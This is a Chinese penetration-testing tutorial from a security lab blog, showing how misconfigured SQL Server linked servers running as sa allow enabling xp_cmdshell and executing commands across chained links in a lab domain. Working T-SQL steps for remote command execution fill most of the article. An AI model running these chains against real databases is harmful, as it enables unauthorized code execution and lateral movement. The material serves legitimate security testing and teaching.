首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >利用Linked SQL Server提权

利用Linked SQL Server提权

作者头像
Ms08067安全实验室
发布于 2024-06-26 01:40:44
发布于 2024-06-26 01:40:44
23000
代码可运行
举报
运行总次数:0
代码可运行

利用Linked SQL Server提权

Linked SQL server是一个SQL Server数据库中的对象,它可以连接到另一个SQL Server或非SQL Server数据源(如Oracle,MySQLPostgreSQL等),并且可以使用该数据源中的表和视图。通过使用Linked server,用户可以在单个查询中访问多个数据源中的数据,而无需将数据导入到本地数据库中。

Linked server通常用于数据集成数据仓库环境中的查询,以及需要从多个数据源中检索数据的应用程序。

当创建从一个SQL服务器到另一个服务器的链接时,管理员必须指定在连接过程中使用的执行上下文。虽然可以基于当前登录的安全上下文创建一个动态的上下文,但是一些管理员可能为了配置方便而使用一个特定的SQL账户登录。如果管理员使用一个特定的SQL登录,并且该登录具有sysadmin角色权限,我们将能在链接的SQL服务器上获得sysadmin权限。

渗透测试过程,如果遇到了集成到活动目录的MS SQL数据库,我们需要测试目标环境是否存在这种误配置。

我们首先枚举当前服务器链接的服务器。可以使用sp_linkedserver存储过程查看。在下面的例子中,我们连接到APPSRV01服务器,以普通域用户dev\dave认证,使用ESC工具进行查询:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
set instance appsrv01.dev.ms08067.cn
EXEC sp_linkedservers
go    

sp_linkedservers列举连接的服务器

ESC客户端list links命令也可以用查询:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
list links    

ESC列举链接的服务器

从上面的输出可以看到,当前服务器APPSRV01\SQLEXPRESS存在一个远程链接的服务器DEV-DC01,远程登录名为sa。下一步我们可以尝试在链接的服务器上执行查询,可以使用OPENQUERY关键字实现。首先我们查询链接的服务器的数据库实例版本:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select version from openquery("dev-DC01", 'select @@version as version')

查看dev-DC01数据库版本

输出证明我们可以在链接的服务器上执行查询。接下来,我们需要确认是在哪个安全上下文执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select SecurityContext from openquery([dev-DC01], 'select SYSTEM_USER as SecurityContext')

查询安全上下文

从输出可以看到虽然我们本地登录是域用户dev\dave,但链接的安全上下文是sa。有了sa权限,我们可以使用前面介绍过的方法在链接的服务器实现代码执行,这里使用xp_cmdshell。

需要注意的是xp_cmdshell需要改变advanced options,我们必须使用RECONFIGURE语句更新运行时配置。当这个语句在远程服务器执行时,微软使用Remote Procedure Call(RCP)实现。因此创建的链接必须配置RPC Out设置,默认没有启用,如果我们当前用户有sysadmin权限,可以使用sp_serveroption存储过程启用。这里为了演示在链接的服务器执行命令,我们先在APPSRV01服务器手动启用。在appsrv01上执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
USE master; 
EXEC sp_serveroption 'dev-DC01', 'rpc out', 'true'; 
RECONFIGURE 

启用RPC Out

然后我们尝试在链接的服务器dev-DC01上执行命令。OPENQUERY存储过程无法在链接服务器执行,所以这里我们使用AT关键字指定要执行查询的链接服务器。注意要对内部的单引号通过双写进行转义:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT [dev-DC01]
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [dev-DC01]
EXEC ('xp_cmdshell ipconfig') AT [dev-DC01]

在链接服务器执行命令

可以看到我们成功在链接的远程服务器dev-DC01上获得代码执行。

虽然微软的文档说明,在链接的SQL服务器上不支持用OPENQUERY关键字执行存储过程,但实际上可以利用堆叠查询的方式执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
SELECT * FROM OPENQUERY("dev-DC01", 'select @@Version; exec xp_cmdshell ''ipconfig > c:\Tools\ipconfig.txt''')
go

利用堆叠查询执行命令

虽然命令结果没有回显,但实际命令成功执行。

上面我们发现appsrv01上的数据库配置了到dev-DC01上数据库的链接。我们也可以在dev-DC01上执行sp_linkedservers存储过程,查看是否存在从dev-DC01到其他数据库服务器的链接。需要注意的是SQL服务器的链接默认不是双向的,所以依赖于管理员配置。我们可以使用如下语句查询:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
set instance appsrv01.dev.ms08067.cn
EXEC ('sp_linkedservers') AT [dev-DC01] 
go

dev-DC01数据库链接枚举

从输出可以看到也存在从dev-DC01到APPSRV01的数据库链接。我们之前已经通过链接在dev-DC01上获得了sa权限,可以再次通过链接返回到APPSRV01。使用下面命令查看在APPSRV01上的登录上下文:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select mylogin from openquery("dev-dc01", 'select mylogin from openquery("appsrv01", ''select SYSTEM_USER as mylogin'')')

APPSRV01权限查询

从输出可以看到我们在appsrv01上也获得了sa权限,因为是sysadmin角色,我们可以通过相同的方法实现代码执行。同样也需要在dev-DC01上配置RPC Out:

dev-DC01启用RPC Out

然后启用xp_cmdshell并执行命令,需要注意单引号的转义:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
set instance APPSRV01.dev.ms08067.cn
EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [appsrv01]') AT [dev-dc01]
EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [appsrv01]') AT [dev-dc01]
EXEC ('EXEC (''xp_cmdshell  ''''ipconfig&hostname'''''') AT [appsrv01]') AT [dev-dc01]
go

通过嵌套链接执行命令

上面例子可以看到,我们先从APPSRV01通过链接的方式在dev-DC01上执行命令,然后又通过链接方式,从dev-DC01跳回到APPSRV01并在上面成功执行命令。我们可以枚举嵌套链接的数据库,并执行查询。理论上,可以多次跟随链接并获得代码执行。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-06-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
新春福卡 | QQ22周年招财牛气卡,开!
昨天,QQ满22周年了 祝鹅生日快乐! 今天,QQ带着寿星的欧气 亲自来送牛年祝福啦! QQfamily新春牛气福卡 热!乎!上!新! 集齐6张福卡 全年牛运不停,每天好事发生 “牛牛”大顺,牛气冲天,开! 牛 运 壁 纸 - 01 - 财运卡 人在家中坐 财神来敲门 公众号后台回复【牛气卡01】获取财运壁纸 - 02 - 转运卡 收下这只金色牛魔王 从此吉星附身好运连连 公众号后台回复【牛气卡02】获取转运壁纸 - 03 - 桃花卡 拥有这张卡 人见人爱魅力爆表 公众号后台回复【牛
腾讯ISUX
2021/02/19
1.5K0
QQ x FDMTL x COSTS 联名潮玩来袭!
1.项目概述 | About This Project 作为互联网时代的前沿阵地之一,一直以来QQ致力于将潮流元素、街头文化、电影进行跨界结合,并且与全球各地的艺术家、设计师、流行品牌合作,推出一系列独一无二的限量版、特别版潮流玩具,深受潮玩爱好者的追捧。QQ本次联合日本丹宁潮流品牌FDMTL与中国本土时尚名所COSTS STORE和PUPU推出最新QQ x PUPU x FDMTL x COSTS四方联名潮玩企划,并融入丹宁、蓝染、刺子绣等设计元素,最终呈现对传统工艺继承的态度。这也是继NEW N
腾讯ISUX
2021/01/26
1.1K0
【红包封面福利】QQ, PUPU, KAKAO, ISUX齐贺岁!
牛年新春快到啦 最近你抢了多少红包…封面? 上周我们在粉丝群率先发了一波后 文章留言区、后台留言区、粉丝群 随处可见求再来一波的身影 经过设计师的加班加点 新一波红包封面来啦 QQ PUPU QQ x KAKAO ISUX十周年 四款齐发 祝大家牛年大发,牛气冲天! -领取方式- 点击下方链接完成积分兑换即可领取 (注册HitTop即可获得初始积分,更多积分从使用小程序中获得) QQ牛魔王 金牛转运,财运滚滚挡不住   PUPU  ALIENS   卖萌无敌,PUPU和你一起欢乐过大年   QQ
腾讯ISUX
2021/02/19
4540
高萌预警,PUPU文具组队来袭!
噗噗星人系列周边再度来袭! 外观可人,实用性高 一起来看看吧! 前方高萌预警,请捂好小心脏~  -噗噗橡皮盲盒-  6个造型+1个隐藏款 可拆卸可组装 噗噗和你一起玩转橡皮界!  -噗噗手账磁扣本-  拼贴封面,多彩内页 功能性与空白页兼顾 噗噗陪你记录日常生活的大小问题  -噗噗笔袋-  定制形象拉头 经典小方包设计 可可爱爱,轻松收纳  -噗噗拉边袋-  透明网格,一目了然 质地柔软,拉合顺畅 今天起,和噗噗一起
腾讯ISUX
2021/02/01
5180
2021 | 腾讯ISUX 推文归档
前言 不知不觉又到了一年一度展示全年作品的时刻啦!2021年,是ISUX十周年,这一年我们为大家带来共148篇推文,包括设计分享类、QQ潮玩发布类、QTX展讯,每周接近三篇内容的发布,离不开设计团队所有人的辛苦付出,感谢每一位在背后默默耕耘的人,这一年我们几乎在每周都为大家带来了抽奖福利,由衷感谢每一位关注和支持我们的人。让我们一起通过这篇内容归档,回顾腾讯ISUX公众号2021年的成果吧! 热门前十二推文 Lottie表情 | Q弹超清,萌趣翻倍 Lottie动画秘籍--QQ超清表情大揭秘 202
腾讯ISUX
2022/01/04
1.8K0
福利 | 鹅厂车神来了!UPUP牛合金车模现货开售
“轰轰”的声浪在耳边炸响 鹅厂车神来了! 手中紧握方向盘,神情专注 只等一声令下,便向远方加速 只管一路超车,从不回头 UPUP牛年合金车模潮玩手办 牛气加满,现货开售! 本次推出两款重量级的经典酷车 将你的回忆瞬间拉回 来自鹅厂的老司机带你开飙 即刻上车! QQ x OG肌肉车款 本款车模设计灵感来自美式肌肉车 简约流线型的低风阻外观设计 让人瞬间回忆起经典电影中的激情与速度 这一次,让奶牛鹅带你飞! 潮玩车身涂料采用合金材料与真实车漆 从车灯、方向盘到车轮、车标等 都极大程度还原美
腾讯ISUX
2021/01/22
9490
[第三波] QQ潮玩重磅限定品公布!
(展会地图,点击可放大) *如因特殊情况发生变动,请以展会当天公布为准 5月1日-5月3日 深圳福田会展中心 QTX潮玩展   200+潮玩限定品 更有[QQ潮玩]重磅新品和限定品  整装待发,等你来冲! ABCD区两波限定品之后 今天为大家带来第三波 QQ潮玩 展位号:A18 快来看是否有你期待! *另有两款超级限定品等后面文章发布 QQ ╳ Michael Lau 艺术家100体超限定 QQ BE@RBRICK VALENTINE LIMITED EDITION 新品限定 QQ ╳ Kak
腾讯ISUX
2021/04/21
1.7K0
表情包 | QQ奶牛鹅拜年新招式
新春来临,牛年即到 今年拜年讨红包的表情包 你都准备好了吗? 为满足大家过年聊天炸群的刚需 《QQ奶牛鹅拜年秘籍》表情包新鲜出炉 又潮又好玩的拜年招式 一波全收! - 给你拜年了 - - 给您拜回去 - - 退后,我要发红包了 - - 唯有红包,能消除孤独 - - 谢谢老板 - - 牛 啊!- - 红包…我需要红包 - - 红包没了,爱会消失吗?- - 这个发红包的人…好帅 - - 牛年大吉 - - HAPPY牛YEAR - - 快乐都是你们的
腾讯ISUX
2021/02/05
1.5K0
【UPUP牛】QQ牛年生肖潮玩系列设定故事
一、项目背景 腾讯生肖公仔是腾讯每逢新年皆会重推的礼品,也是QQ作为企业IP的重要形象拓展。2021牛年生肖公仔,ISUX的设计师研发了具有潮流味道的QQ牛系列形象。以此形象为基点,设计师自主开发了一系列实体潮玩、周边衍生品,并在QQ平台内推出了新年活动福卡、QQ打卡、新年红包等一系列的线上内容运营,以潮流化设计赋予QQ IP更多年轻能量,吸引更多年轻用户的喜爱。 二、设计理念 1.草图设计 戴上鸭舌帽、穿上雪地靴——这些流行元素,在往年生肖公仔中从未被使用过。设计师为QQ牛打造了一身特别的“貂”——一件
腾讯ISUX
2021/03/11
1.5K0
大福利|会员20周年限定“燃鹅”的设计故事
项目概述 今年迎来了QQ会员20周年,为了纪念这个特殊的年份,QQ会员推出了限量版的会员鹅潮玩—“燃鹅”,“燃鹅”代表QQ会员的青春洋溢,朝气蓬勃,潮酷的穿搭配上火焰纹理也寓意着年轻热血,活力无限满满的能量。 设计流程 01 设计理念 本次QQ会员20周年的slogan是“理所当燃”,主要向用户传达青春热血,活力无限的概念,并且会员用户男性居多,以及20周年主KV火仔形象设定为机械魔法师,应运而生我们设计了以火焰作为造型的主体元素,机甲元素作为鹅本身的辅助元素,将其融合入到在QQ会员的造型上。使
腾讯ISUX
2021/02/19
1.7K0
牛年NEW气象,鹅厂牛年公仔系列重磅发布!
在腾讯推出生肖公仔的第十二年之际 又萌又潮的QQ牛年公仔C位出道! 2021年,牛年NEW气象 鹅厂牛年生肖公仔UPUP牛系列 正式上线! 牛年,鹅厂还将陆续推出 UPUP牛系列大礼包 盲袋、背包、潮玩、八音盒、耳机套…… 品类多多,惊喜满满 话不多说,鹅厂牛年系列周边大揭秘! “牛企冲天”毛绒公仔 奶牛&企鹅QQ合体,祝你牛企(气)冲天! 鸭舌帽+连衣帽+雪地靴,牛年最潮穿搭 水晶绒奶牛外套可穿脱,手感柔柔暖暖 每只牛年公仔赠送盲袋一个 童年零食包装内,装着意想不到的祝福 更重
腾讯ISUX
2020/11/10
3.1K0
福利 | QQ黄脸 x 回力最新联名款发售,弄潮无止境!
新的一年,牛气开启 加点铿锵,也多些浪漫 青春无忌,现在就出发 QQ黄脸 x 回力联名系列2.0 火爆开售 跨界新玩法,突破创意边界 肆意挥洒,潮出新主张 本次设计延用经典QQ黄脸元素 还注入新的百变涂鸦插画风 秀出你的独特个性,来看! - 高 帮 冲 浪 款 - 设计师以构图丰富的插画铺满高帮鞋面 俏皮QQ黄脸变身乘风破浪小雏菊 粉紫配色,柔和清新,活力十足 - 高 帮 涂 鸦 款 - 黑白涂鸦平铺高帮鞋面 如同下课后迫不及待打开的漫画书页 超燃的全新故事,由你来开启 - QQ
腾讯ISUX
2021/02/23
8690
拜年有新招 | “Q猛虎”拜年表情包震撼上线!
距离元旦还有1天 距离春节还有32天 今年拜年讨红包的表情包 你准备好了吗? 为满足大家过年聊天“炸群”刚需 Q猛虎拜年表情包横空出世 又潮又好玩的拜年招式 一招拿下! - 发红包的你太棒了 - - 谢谢你的祝福 - - 谢谢老板 - - 好的 - - 期待你的红包 - - 福到啦!- - 一大堆新年祝福送给你 - - 红包没了,所以爱会消失对吗?- - 准备好,我要发红包啦!- - 新年到!- - 下红包雨了,开心!- - 抢红包?马上到!-
腾讯ISUX
2022/01/04
9250
TDW市集 | QQ潮玩新品全攻略
一年一度的腾讯设计周(TDW)即将开始!今年TDW2020市集,来自腾讯QQ STUDIOS的ISUX将推出超多酷潮硬货、软萌周边,更有超炸的QQ潮玩新品首次亮相!本次TDW市集对所有内外部人士免费开放! 10/28-10/30   10:00-19:00 深圳市南山区深南大道10000号 腾讯大厦广场 按地图找到01号QQ潮玩展位 必定收获惊喜! QQ潮玩会有什么重磅新品&爆款呢? 下面为你抢“鲜”揭秘! 首推新品 QQ x KAKAO联名潮玩 — 为了纪念QQ 21周年,腾讯与韩
腾讯ISUX
2020/10/27
1.7K0
QTX直播 | 超多限定品!首场QQ潮玩直播周五开播
2021第一场QQ潮玩云端嘉年华即将开启! 2021/1/15  19:30-22:00 QTX AIR 第1期 即将开播! QQ潮玩直播将为你带来连环惊喜! ◀向左滑动查看更多图片 ↑长按海报左下角小程序码订阅直播间 多款限量潮玩新品购买权线上抽选 牛年新年系列潮玩超萌亮相 还有超多直播间专属福利随机掉落 QTX AIR有什么必抢潮玩? 攻略在此! 限量新品首发 大兽志异·招财哥是鹅 数量 20体(共50体) 价格 599元/体 规则 1月15日21:30,QTX AIR直播间线
腾讯ISUX
2021/01/13
8530
福利 | QQfamily旗舰店,全球首家震撼来袭!
QQfamily ╳ 创梦天地公司 携手打造全国首家 QQfamily旗舰店 2021年7月24日 深圳欢乐海岸新潮登陆 跟QQ一起玩 QQfamily首家线下实体店 挑不完的潮玩精品 玩不够的主机游戏 打造线下一站式玩乐场景 成为潮玩爱好者的快乐天堂 ↑ 点击视频直击现场 QQfamily首家线下实体店 亮点解锁  “潮”我看 #01 QQ潮玩专区 最全QQ潮玩单品 上百款知名艺术家&IP汇聚一堂 独家发售的超限定潮玩单品 每位粉丝都能在这里找到心属 再也不用东奔西跑收集潮玩啦
腾讯ISUX
2021/07/21
2K0
别再emo啦!QQ黄脸 × UHOU解压球软糯上线!
工作忙、生活累 压力大到夜不能寐 本鹅已经的黑眼圈已经快掉地上了 不过今天一早 本鹅发现了一个神奇的玩具 QQ弹弹、软软糯糯 rua一rua,压力统统跑光啦! 就是它! QQ黄脸?! emmm……猜对一半! 其实这是QQ黄脸 × UHOU解压球 QQ黄脸表情包从虚拟到实体 帮你轻松释放生活压力 一、自带态度,烦恼走开 词不达意,表情来凑 表情还不够? 那就……QQ黄脸解压球,上! 赞许中夹杂些许阴阳 紧张里多了小小俏皮 日常焦虑,大大减少 二、能量回弹,“拿捏”生活 QQ黄脸 × UHOU解压
腾讯ISUX
2022/06/01
5440
别再emo啦!QQ黄脸 × UHOU解压球软糯上线!
福利 | QQ黄脸×绿箭限定装上市啦!QQ黄脸带你开启“一箭畅聊”模式~
发消息带表情 已经成为“网上冲浪”的社交礼仪 保持口气清新自然 也是面对面社交的礼仪 当广受欢迎的QQ黄脸表情包 与清新自然的绿箭相遇 会碰撞出什么呢? 没错,就是它! QQ黄脸×绿箭限定装 焕新上市啦! 口气不清新 总是被白眼 来个QQ黄脸 × 绿箭限定装口香糖吧 👇 口腔异味被禁言? QQ黄脸 × 绿箭限定装薄荷糖来帮你! 👇 口气清新 笑容才能更加自信 快来解锁更多场景玩法吧! 让我们和绿箭品牌全球代言人刘昊然一起 开启QQ黄脸 “一箭畅聊”模式!!
腾讯ISUX
2022/04/25
4980
福利 | QQ黄脸×绿箭限定装上市啦!QQ黄脸带你开启“一箭畅聊”模式~
过年聊天有新招 | Q猛虎+泰哥人偶表情包强势来袭!
注意啦,注意啦! 距离过年还有6天啦! 拜年表情包准备好了吗? 炸群斗图的表情包准备好了吗? 为满足大家春节聊天刚需 Q猛虎人偶和泰哥人偶服表情包正式上线 炸群、造气氛 你就是横扫各群的表情包霸主! 👇 Q猛虎人偶表情包 - 害!看开了~ - - 人麻了呀! - - 打你打你打你 - - 嗯? - - 暗中观察- - 满脸问号 - - 啥啥啥?- - 悠闲抖jiojio - - 你不爱我了 - - 呀啊啊啊啊!- - 搓手手期待 - - 哎~ - - 
腾讯ISUX
2022/01/25
1.9K0
福利 | QQ黄脸 x 回力联名运动鞋与设计故事
QQ黄脸 x 回力联名款潮鞋预售火热开启!网络社交经典元素QQ黄脸与经典国民品牌回力的本次联名,于上线伊始即吸引大量关注。双品牌灵感碰撞,以潮感满满吸睛十足的设计打造出新的品牌故事。 01 关于项目 QQ黄脸是QQ网络社交中的经典符号,人们用它在虚拟世界表达情感与心情,如今已成为几代网民共同的记忆。 QQ黄脸如今正在经历潮流化的转变,它的形象不仅仅在网络上被不断二次创作,成为网络流行文化的一部分;QQ官方也以Keep Playing作为slogan,将QQ黄脸活泼、搞怪的形象打造为新的潮流符号,研发
腾讯ISUX
2020/09/08
2K0
推荐阅读
相关推荐
新春福卡 | QQ22周年招财牛气卡,开!
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验